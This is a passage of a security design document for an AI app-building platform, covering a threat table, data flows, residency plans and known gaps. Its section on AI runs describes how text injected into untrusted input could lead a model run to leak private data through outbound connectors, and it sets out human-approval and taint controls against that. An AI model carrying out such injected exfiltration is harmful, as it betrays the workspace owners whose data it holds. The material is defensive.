| S | Host header spoofing through the app domain | A request for `x--y.qaldy.app` with a forged `Host` of a customer name | The gate takes its host from the request's own `Host` only; a name under the apps domain is never looked up as a customer name, and a custom name needs its own session cookie | built | `custom_flows.rs` | | E | Cross-site writes to the app | A sibling `*.acme.kz` posts to the app | Writes must be same-origin (`Sec-Fetch-Site` or an equal `Origin`); the cookie is `__Host-` and host-only | built | `custom_flows.rs` | | I | The Cloudflare token leaks | In a log, an error or a response | One scoped token (SSL and Certificates, Edit, one zone) held in the API secret, used in one header, never logged or returned; logs redact token-named fields | built | `domains.test.ts` ("never writes the token") | | D | Claims used to spend or flood | A tenant adds hostnames to exhaust Cloudflare slots or DNS lookups | One hostname per app, ten per workspace, a claim not registered with Cloudflare until its CNAME resolves, 30 manual checks an hour, a lease per claim, a 24-hour deadline per stage | built | `domains.test.ts` | | R | A change nobody can account for | Attach, go live, fail, remove | An audit row in the same transaction for each (`domain.*`), naming the hostname and the person | built | `domains.test.ts` | | E | A live name changes hands | The company's domain lapses, or its DNS is taken over, while the claim is `active`; the new holder redirects signed-in visitors to the console handoff for that name and receives a one-time handoff token bound to it | The monitor re-reads every live name each hour: a CNAME that now points at another name moves the claim back to `pending_dns` at once, and Cloudflare's own `moved` status does the same; from then on the API mints no handoff for the name and the gate stops answering for it (60 s cache, invalidated on the change). The window is up to an hour plus DNS caching | accepted-risk | `domains.test.ts` ("stops serving a live hostname as soon as its CNAME points somewhere else") | | T | Same-site neighbours | Another service on `*.acme.kz` sets cookies for the whole domain | The Public Suffix List cannot protect a customer's domain. The console tells the owner to pick a name only the app uses | accepted-risk | — | | D | The provider is unavailable | Cloudflare does not answer | A hostname waits and is looked at again; a removal it cannot confirm keeps the claim; a failed gate lookup is not cached and answers bad gateway | built | `domains.test.ts`, `custom_flows.rs` | ## 9. Critical data flows 1. **Open an app.** Browser → `inventory--moss.apps.localhost` → gate (B2). No cookie → 302 to console handoff → API signs `{sub, host, jti, exp}` → gate verifies, consumes the `jti`, sets the host cookie → `can_view` → host with signed `{user, app, version, exp}` (B3) → host verifies, loads the bundle by hash. Every failed check returns `403` before app code runs. Proof: T1, T2, GATE, HOST. 2. **App calls a connector.** SDK `connectors.telegram.sendMessage()` → `fetch('https://connector.qaldy.internal/telegram/sendMessage')` (B4) → host signs `{app, version, workspace, run, tainted}` (B5) → gate verifies, loads the version policy (cached, invalidated on `app.deployed`), checks `{telegram, sendMessage}` → HPKE-opens the token with its `aad` → builds `https://api.telegram.org/bot/sendMessage` → rustls (B6) → zeroizes → audit + `run.step`. The token exists only in gate memory for one request. Proof: T3, T5, T7, HPKE. 3. **Non-allowlisted domain.** `fetch('https://example.org')` → host signs → no manifest match → `403 {"error":"egress_blocked","host":"example.org"}` → `egress.blocked` event + audit → SSE → barrier and U-turn in the City. Raw sockets fail the same way. Proof: T4, T6, T5. 4. **Build and deploy.** Prompt → plan (manifest + file plan) → human approves the manifest (audited) → codegen in the virtual directory → esbuild → static rules 1–6 → smoke tests (fake connectors, deny-all) → Trust Score → API writes an immutable `app_version` → publish refused below 60 or without approval → `app.deployed`. `app.build.progress` at each step. Proof: BLD, API, AUD. 5. **Run → City.** Host emits `run.started`, `run.step`, `run.finished`, `run.failed` with its service credential → API validates with zod and appends to `events` → LISTEN/NOTIFY → SSE filtered by `can_view`. The City is a pure projection and never writes state. Proof: API (SSE scope), `@qaldy/city` determinism tests. ## 10. AI runs: the lethal trifecta rule An AI run that combines **private data + untrusted input + external communication** needs human approval before each external send. Any one leg on its own is fine; all three together let injected text steal data. A pure function `trifecta(manifest)` computes the legs. It applies only when `permissions.ai ≠ null`. - **Private data:** any `permissions.data` entry, or any connector read action (`gmail.read`, `sheets.read`). - **Untrusted input:** a `webhook`, `form` or external `event` trigger, or a connector read of content authored outside the workspace (email, messages). Model output always counts as untrusted. - **External comms:** any connector write action (`telegram.sendMessage`, `gmail.send`) or any `permissions.egress` entry. Enforcement: 1. **Build time (built, BLD).** The flag goes into `trust_report`. The manifest card says "Reads private data, handles outside input and can send messages. Each send needs approval." Trust Score is capped at 79 (sun plaque) until the app has an approval step. 2. **Run time (planned, T8).** The host marks a run `tainted` after its first `ai.*` call and signs the flag into the egress context. For a tainted run the gate refuses every external-comms action unless it carries an approval id the API signed over `{run, step, connector, action, sha256(body)}`. Binding the body hash means the message sent is the message approved. The wait is a DBOS `recv`; in the City it is a person queueing at the Town Hall. 3. **The builder agent** has private data (prompt, templates) and untrusted input (model output, pasted text) but no external-comms tool: it can only write files in its virtual directory. Deploy still needs the human manifest approval. ## 10a. Information flow: a sensitive read limits what leaves The owner labels tables and connections (`pii`, `financial`, `secret`). The runtime host records which tables an isolate read, in the app's Durable Object, and signs the list into every egress token; the gate also notes calls through a labelled connection itself. A run that holds a label may then send only to destinations the owner allowed for it, within a request limit and a run total, and every decision is an audit row. Interactive apps are keyed on the app and a five-minute window, host-started runs on their bound run id, so an app cannot shed a label by naming another run. Tables a marked run wrote to carry the label forward. It narrows the manifest and never widens it. It stops a send; it does not ask for approval, so it does not close the trifecta gap (T8) for AI runs. Limits, bypass attempts and the proofs: `docs/security/information-flow.md`. Status: Preview, proved on a developer's machine only. ## 11. Residency **Status: Planned.** The pilot cell runs in AWS `eu-central-1` and on Cloudflare. No workspace is on a Kazakhstan cell and the provider for one is not chosen, so nothing in this section is true of the pilot today; the pilot's honest statement is "Residency: Planned". What follows is the design a Kazakhstan cell must meet. - A KZ workspace's cell holds all of its data: user emails, sessions, tuples, audit chain, app SQLite, sealed secrets, events, backups. The global directory stores `workspace_id → cell` and billing ids only. A schema test that the directory has no name or email columns is planned. - `kz-standard`: foreign LLMs only after PII redaction in the Qaldy policy layer, which runs even when Bifrost is down. `kz-strict`: in-region models only; with none available the builder runs offline and the `ai` permission is unavailable. Proof: POL (the policy function; no workspace runs under it in production). - Each cell has its own gate HPKE key; `key_id` names the cell, so a blob sealed for one cell can't open in another. - Connectors are the deliberate exit: a Telegram send from a KZ app leaves the country. The profile's `allowedConnectors` limits which exits exist and the manifest sentence names the destination (accepted-risk, decided by the workspace admin). - Audit streaming and export are also exits, chosen by an admin: a destination outside the country is the admin's decision, and the destination's address is in the audit log. - OTel exporters in a KZ cell point at the in-cell collector only; config validation that rejects third-party endpoints under `kz-*` is planned. - Sharing doesn't cross cells: the share picker lists only members of the workspace's own cell. ## 12. Known gaps What a reviewer should know is not done. Numbers are stable so a later review can say which closed. 1. **Sandbox depth.** workerd alone is not a hardened boundary (its README says so). The pilot relies on Cloudflare's isolation layers; a microVM per tenant (ADR 0005) is not built. An isolate escape would reach whatever the Worker can reach: its own secrets, not the database or the gate. 2. **Development login** exists when no OAuth keys are set and `QALDY_ENV` is not `production`. The API refuses to start in production with it forced on, and proof L3 checks the live API does not route it. 3. **Connectors.** Telegram, HTTP API connections (with presets) and Google Sheets (a service account) work end to end; GitHub, Linear and WhatsApp are presets built from the providers' documentation and have not run against the live services; the rest of the catalog is Preview or Planned and is labelled so in the product. 4. **Key custody.** The gate's and the API's private keys are in Secrets Manager and injected as environment variables, not in KMS or an HSM. An AWS administrator can read them. 5. **One cell, one maintainer.** No global directory, no second person to review a deploy, no hardware-key enforcement on the cloud accounts yet (planned; the pilot floor in `docs/plan/09-security-compliance.md`). 6. **Limits.** No per-IP or per-host rate limits on the gate, no per-run egress cap, no response token scrubbing for every connector shape. 7. **Public Suffix List.** `qaldy.app` is not on it (and not bought); app-to-app requests are stopped by the `Sec-Fetch-Site` check only. 8. **Audit.** Signed checkpoints and a locked copy narrow the old gap, they do not close it: events after the last checkpoint can be rewritten by someone with database access unless streamed out, the vault copy exists only where `QALDY_AUDIT_VAULT_BUCKET` is set and the API has AWS credentials (on the pilot cell its container cannot reach the host role, ADR 0024, so the copy is not on yet), and the vault is Governance mode (35 days), which an AWS administrator can bypass. Compliance mode is planned. The default checkpoint key is derived from the API's own key until a dedicated one is set. 9. **Trifecta.** Runtime enforcement (T8) is not built; only the build-time flag and score cap. 10. **Bifrost** is an optional compose profile. Without it the policy wrapper calls providers directly with the same allowed-provider list and redaction (ADR 0016), losing Bifrost's retries and the virtual key's second budget check. 11. **Proof coverage.** The 17 local proofs run on local origins with development keys (plain HTTP, so `__Host-` and `Secure` cookie rules are not exercised). The 15 live proofs are read-only and from outside; nothing shows rotation, streaming or the panic button against the live cell. 12. **Rust tooling.** `clippy` and `rustfmt` run in CI and Docker, not on every laptop (see `docs/decisions-log.md`). 13. **No external test.** There has been no penetration test and there is no SOC 2 report. A test is planned before public beta; the plan is in `docs/plan/09-security-compliance.md`. A bug bounty is not open: see `docs/security/disclosure.md`. 14. **Panic button reach.** Sessions belong to a person, not a workspace, so the button signs a member out of every workspace they are in. One admin can press it; two-person approval is planned. 15. **S3 export is Preview.** The signing code is tested against AWS's published vectors and a stubbed endpoint; it has not been run against a real bucket, and the API role has no `sts:AssumeRole` statement yet. 16. **Information flow is Preview.** The policy (§10a) follows tables of the app's own database and labelled Sheets and HTTP connections, not columns. It does not hold what an app returns to a viewer or prints to its logs. The gate keeps marks and totals in memory (a restart forgets them, a second gate would not share them), and a refused send is not escalated to a person. Data read through a labelled connection and written into a table does not carry the label to that table yet. Proofs I1 to I3 ran on a developer's machine only and are not in the ledger. Full list in `docs/security/information-flow.md`.